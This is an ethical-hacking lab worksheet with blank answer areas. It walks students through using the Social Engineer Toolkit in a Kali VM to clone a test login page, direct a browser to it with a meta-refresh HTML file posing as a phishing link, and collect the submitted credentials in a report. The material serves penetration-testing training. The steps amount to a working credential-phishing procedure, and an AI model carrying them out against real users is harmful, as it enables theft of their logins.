Incomplete Lab - Explore the Social Engineer Toolkit (SET)

Objectives

Many exploits begin with a social engineering attack that is designed to obtain credentials or plant malware to create entry points into the target network. One of the tools used to perform these social engineering attacks is the Social Engineer Toolkit (SET), developed by David Kennedy.

- Launching SET and exploring the toolkit
- Cloning a website to obtain user credentials
- Capturing and viewing user credentials

Background / Scenario

In this activity, you will clone a website and obtain user credentials. This activity is performed under carefully controlled conditions within a virtual environment. SET tools should only be used for penetration testing in situations where you have written permission to perform social engineering exploits.

In an actual penetration test, this procedure could be used to reveal problems with user security training and the need take measures to educate users about various types of phishing attacks.

Required Resources

- Kali VM customized for Ethical Hacker course
- Internet access

Instructions

Part 1: Launching SET and Exploring the Toolkit

Step 1: Load the SET application.

a. Start Kali Linux using the username **kali** and the password **kali**. Open a terminal session from the menu bar at the top of the screen.
b. SET must be run as root. Use the **sudo -i** command to obtain persistent root access. At the prompt, enter the command **setoolkit** to load the SET menu system. The Social Engineering Toolkit can also be run from the **Applications >Social Engineering Tools >social engineering toolkit (root)** choice on the Kali menu.

```
┌──(kali㉿Kali)-[~]

└─$ sudo -i

[sudo] password for kali:

┌──(root㉿Kali)-[~]

└─# setoolkit
```

If this is the first time that you have run SET, the license terms and conditions are displayed, and an agreement is required. Read the terms carefully.

c. After reading the disclaimer, enter **y** to accept the terms of service.

```
The Social-Engineer Toolkit is designed purely for good and not evil. If you are planning on using this tool for malicious purposes that are not aut

Do you agree to the terms of service [y/n]: y
```

The initial SET menu is displayed, as shown:

```
   The Social-Engineer Toolkit is a product of TrustedSec.


            Visit: https://www.trustedsec.com


   It's easy to update using the PenTesters Framework! (PTF)
 Visit https://github.com/trustedsec/ptf to update all your tools!



Select from the menu:


   1) Social-Engineering Attacks

   2) Penetration Testing (Fast-Track)
   3) Third Party Modules

   4) Update the Social-Engineer Toolkit

   5) Update SET configuration

   6) Help, Credits, and About


  99) Exit the Social-Engineer Toolkit


set>
```

Step 2: Examine the Available Social-Engineering Attacks.

a. At the SET prompt, enter **1** and press **Enter** to access the Social-Engineering Attacks submenu.

```
set> 1

Select from the menu:


   1) Spear-Phishing Attack Vectors

   2) Website Attack Vectors

   3) Infectious Media Generator

   4) Create a Payload and Listener

   5) Mass Mailer Attack

   6) Arduino-Based Attack Vector

   7) Wireless Access Point Attack Vector

   8) QRCode Generator Attack Vector

   9) Powershell Attack Vectors

  10) Third Party Modules


  99) Return back to the main menu.
```

b. Select each option to see a brief description of each exploit and what the tool does for each.

Note: Some options may not have a choice. In that case, use **CTRL-C** or enter **99** to return to the main menu.
Which option creates a DVD or USB thumb drive that will autorun malicious software when inserted into the target device?

Answer Area

<!----><!---->

How could this functionality be used in a penetration test?

Answer Area

<!----><!---->

You are now ready to begin the web site cloning exploit.

Part 2: Cloning a Website to Obtain User Credentials

In this part of the lab, you will create a perfect copy of the login page for a website. The fake login page will gather all credentials submitted to it and then redirect the user to the real website.

Step 1: Investigate Web Attack Vectors in SET.

a. From the Social-Engineering Attacks submenu, choose **2) Website Attack Vectors** to begin the web site cloning exploit.

```
set> 2
```

b. Review the brief attack description of each type of attack.
Which type of attack will you choose to create a cloned website to obtain login credentials for users on the target network?

Answer Area

<!----><!---->

c. Select **3) Credential Harvester Attack Method** from the menu. A description of the ways to configure this exploit is displayed.
Which method enables you to use a custom website for the exploit that you create?

Answer Area

```
<!----><!---->
```

Step 2: Clone the DVWA.vm Login Screen.

In this step, you will create a cloned website that duplicates the DVWA.vm login website. The SET application creates a website hosted on your Kali Linux computer. When the target users enter their credentials in the cloned website, the credentials and the users will be redirected to the real website without being aware of the exploit. This is similar to an on-path attack.

a. In this lab, we are using the internal website hosted on the DVWA.vm virtual machine. To see what the website looks like, open the Kali Firefox browser, and enter the URL **http://DVWA.vm/**. The login screen will appear. If the URL is not found, enter http://10.6.6.13/ to access the web server using its IP address.

What is the URL of the login screen?

Answer Area

```
<!----><!---->
```

b. Return to the terminal session. Select **2) Site Cloner** from the **Credential Harvester Attack Method** menu. Information describing which IP address is needed to host the fake website and to receive the POST data is displayed. Enter the web attacker IP address at the prompt. This is the IP address of the virtual Kali internal interface on the 10.6.6.0/24 network. In an actual exploit, this would be the external (internet facing) address of the attack computer.

c. At the prompt, enter the IP address **10.6.6.1**.

```
set:webattack> IP address for the POST back in Harvester/Tabnabbing [10.0.2.15]:10.6.6.1
```

d. Next, enter the URL of the website that you want to clone. This is the URL of the DVWA website, **http://DVWA.vm**.

```
[-] SET supports both HTTP and HTTPS

[-] Example: http://www.thisisafakesite.com

set:webattack> Enter the url to clone:http://DVWA.vm

[*] Cloning the website: http://DVWA.vm

[*] This could take a little bit...
```

e. When the website is cloned, the following message appears on the terminal.

```
The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website.

[*] The Social-Engineer Toolkit Credential Harvester Attack

[*] Credential Harvester is running on port 80

[*] Information will be displayed to you as it arrives below:
```

Note: No prompt will be returned to you. This is because a listener is now active on port 80 on the Kali computer and all port 80 traffic will be redirected to this screen. Do not close the terminal window. Continue to Part 3.

Part 3: Capturing and Viewing User Credentials

Step 1: Create the Social Engineering Exploit.

In a “real-life” exploit, at this point, a phishing exploit containing a link or QR code that sends the user to the fake website is created and sent. In this lab, an html document is created to direct the user to the fake webpage. This document simulates a distributed phishing URL. It could be distributed as a file attachment in phishing emails.

a. Open the Kali Linux Mousepad text editor using the **Applications > Favorites > Text Editor** choice from the menu. Enter the HTML code shown into the Mousepad document.

```
<html>

<head>

<meta http-equiv="refresh" content="0; url=http://10.6.6.1/" />

</head>

</html>
```

b. Select **File > Save** from the Mousepad menu. Name the document **Great_link.html** and save it in the **/home/kali/Desktop** Folder. The icon appears on the Kali desktop.

c. Close the Mousepad application.

Step 2: Capture User Credentials.

The purpose of the cloned website is to present a web page that looks identical to the one that the user is expecting. A good hacker would create a fake URL that would be very similar to the actual URL, so that unless the user inspects the URL very closely, it would go unnoticed.

a. Double-click the desktop icon for the **Great_link.html** page. The DVWA login page that you viewed in **Part 2, Step 2a** should appear in a browser window.

What URL appears on the browser now? Is it the same as the URL you recorded in Part 2, Step 2a?

Answer Area

```
<!----><!---->
```

b. Enter some information in the Username and Password fields and click **Login** to send the form.

```
Username: some.user@gmail.com

Password: Pa55w0rdd!
```

What is the URL after you entered the information and clicked the Login button? Is it the same as the URL you recorded in Part 2, Step 2a?

Answer Area

```
<!----><!---->
```

What happened?

Answer Area

```
<!----><!---->
```

Step 3: View the Captured Information.

a. Return to the terminal session that is running the SET application. Output from the login attempt should appear, similar to what is shown:

```
[*] WE GOT A HIT! Printing the output:

POSSIBLE USERNAME FIELD FOUND: username=some.user@gmail.com

POSSIBLE PASSWORD FIELD FOUND: password=Pa55w0rdd!

POSSIBLE USERNAME FIELD FOUND: Login=Login

POSSIBLE USERNAME FIELD FOUND: user_token=69c0375a6ee98b96a5b643eed1e97f94

[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
```

b. To save the report in XML format to use in other penetration testing applications, enter **CTRL**-**C**. The report file name and path are returned. Select the path and filename and right-click to copy the selection. The filenames that are created contain the date and time the file was created in this format:

```
2023-04-07 17:32:55.967169.xml
```

Continue to enter **99** and press **enter** until you have exited setoolkit. To view the content of the XML file, you need to place the filename in double-quotes (“) because it contains spaces and special characters. Use the **cat** command to see the information that is saved. The file path shown is the default path for the lab VM when this lab was created.

```
┌──(root㉿Kali)-[~]

└─# cat /root/.set/reports/”2023-04-07 17:32:55.967169.xml”


<?xml version=”1.0” encoding=”UTF-8”?>

<harvester>

   URL=http://DVWA.vm

   <url>      <param>username=some.user@gmail.com</param>

      <param>password=Pa55w0rdd!</param>

      <param>Login=Login</param>

      <param>user_token=69c0375a6ee98b96a5b643eed1e97f94</param>

   </url>

</harvester>
```

What information did the cloned web page gather?

Answer Area

```
<!----><!---->
```

What could a penetration tester do with this information?

Answer Area

```
<!----><!---->
```

Reflection

How could an ethical hacker use this procedure in a test?

Answer Area

```
<!----><!---->
```